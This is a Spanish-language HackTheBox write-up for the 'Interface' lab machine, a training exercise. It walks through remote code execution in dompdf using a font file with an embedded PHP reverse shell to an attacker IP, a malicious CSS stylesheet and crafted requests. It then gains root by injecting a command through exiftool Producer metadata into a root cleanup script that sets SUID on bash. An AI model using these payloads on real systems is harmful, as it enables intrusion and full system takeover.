Interface - HackTheBox

A box that sees a lot of fuzzing, plus exploits targeting “dompdf” with relatively easy privilege escalation.

Summary

  • IP: 10.129.154.5
  • Ports: 22,80
  • OS: Linux (Ubuntu)
  • Services & Applications:
    • 22 -> OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
    • 80 -> nginx 1.14.0

Recon

  • Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.154.5 -oG allPorts
  • Escaneo profundo de puertos encontrados:
$nmap -p22,80 -sCV 10.129.154.5 -oN targeted

Análisis de página web:

  • Al entrar a la página principal vemos un mensaje pero no nos sirve de nada, analizando el código fuente y haciendo un escaneo típico de directorios tampoco encontramos nada.

  • Interceptamos la petición al entrar a la página con Burpsuite y optenemos la siguiente información contemplada dentro de la respuesta del servidor:

Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
  • Podemos apreciar un subdominio deconocido “prd.m.rendering-api.interface.htb”; lo agregamos al “/etc/hosts”.

  • Hacemos un escaneo de directorios:

$gobuster dir -u prd.m.rendering-api.interface.htb -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
$ffuf -u http://prd.m.rendering-api.interface.htb/api/FUZZ -X POST -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fs 50

Encontramos “/vendor” y “/api/html2pdf”

$gobuster dir -u prd.m.rendering-api.interface.htb/vendor -w /usr/share/dirb/wordlists/big.txt -t 100

Encontramos “/vendor/dompdf”

  • Con esta información podemos deducir que la página implementa “dompf” por detrás, buscamos vulnerabilidades para esto y encontramos lo siguiente:
[Exploiting RCE Vulnerability in Dompdf Optiv](https://www.optiv.com/insights/source-zero/blog/exploiting-rce-vulnerability-dompdf)
  • Bingo! un RCE; llevamos a cabo el exploit.

Exploit dompdf RCE:

  • Primero, descargamos cualquier archivo font “.ttf” que encontremos por internet, y lo renombraremos a “exploit_font.php”; a este mismo archivo renombrado le agregamos una linea al final el cual contendrá el comando de la reverse shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.129/443 0>&1'");?>
  • Luego, creamos un archivo “exploit.css” con el siguiente contenido:
@font-face {
    font-family:'exploitfont';
    src:url('http://ipatacante/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}
  • Después de haber creado estos archivos, nos montamos un servidor http con python en el puerto 80 para que sean accesibles via web.
$python3 -m http.server 80
  • Ahora, enviamos una POST request a /api/html2pdf (en este caso lo hice en el repeater de Burpsuite) con la siguiente estructura:
POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Content-Type: application/json
Content-Length: 79
{
 "html":"<link rel=stylesheet href='http://10.10.15.129:80/exploit.css'>"
}
  • Hecho esto, debemos localizar el archivo que por detrás se subió, el cual sería el “exploit_font.php”; de acuerdo al artículo, lo podemos localizar en la ruta “/vendor/dompdf/dompdf/lib/fonts/” con un nombre pre formateado por el servidor.

  • Para descifrar el nombre que se le adjudicó al archivo por detrás, primero debemos tener en cuenta que tendrá el siguiente formato:

exploitfont_normal_hashmd5.php
  • Donde el “hashmd5” será el archivo “exploit_font.php” que hemos creado, para esto, convertimos en hash la URL que nos dirige a tal archivo:
$echo -n "http://yourip/exploit_font.php" | md5sum
  • Obtenemos el hash, entonces el formato del archivo que se guardó por detrás del servidor quedaría de la siguiente manera:
exploitfont_normal_4e5e34308ba36fe6d12beda1473f05e5.php
  • Nos ponemos en escucha por el puerto 443 en nuestra máquina atacante.

  • Por último, enviamos una petición GET a la dirección del archivo, tomando en cuenta el formato que hemos armado:

GET /vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_4e5e34308ba36fe6d12beda1473f05e5.php cd HTTP/1.1
Host: prd.m.rendering-api.interface.htb
  • Con todo esto, habremos ganado acceso al sistema como “www-data”.

ESCALANDO PRIVILEGIOS:

  • Transferimos el binario de “pspy64” a la máquina víctima y escaneamos los procesos que se están ejecutando por detrás de la máquina, dándonos como resultado lo siguiente:
2023/02/14 04:35:05 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity 
2023/02/14 04:36:01 CMD: UID=0     PID=5679   | /bin/bash /usr/local/sbin/cleancache.sh 
2023/02/14 04:36:01 CMD: UID=0     PID=5678   | /bin/sh -c /usr/local/sbin/cleancache.sh
  • Como podemos ver, el usuario root (UID=0) está ejecutando la script “cleancache.sh” cada cierto tiempo, analizamos dicha script:
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
    if [[ -f "$cfile" ]]; then
        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi
    fi
done
  • La script obtiene el valor de “producer” de los metadatos de los archivos alojados en el directorio “/tmp” y lo compara con “dompdf”.

  • Dado que podemos controlar los metadatos de los archivos, podemos controlar qué es $meta_producer y podemos usarlo para inyectar comandos.

  • Entonces creamos un archivo “pwned.sh” en un directorio en el que tengamos permisos de escritura, en este caso podemos hacerlo en “dev/shm/” y le damos permisos de ejecución:

$touch /dev/shm/pwned.sh
$nano /dev/shm/pwned.sh
chmod u+s /bin/bash
$chmod +x /dev/shm/pwned.sh
  • Ahora creamos un archivo “pwned” en el directorio “/tmp” y modificamos los metadatos con el fin de que ejecute el comando de la script que cabamos de crear:
$touch /tmp/pwned
$exiftool -Producer='a[$(/dev/shm/pwned.sh>&2)]+42' /tmp/pwned
  • Ejecutamos la script “cleancache.sh” dado que tenemos permisos de ejecución.
$./cleancache.sh
  • Y por último ejecutamos la bash con privilegios y seremos root:
$bash -p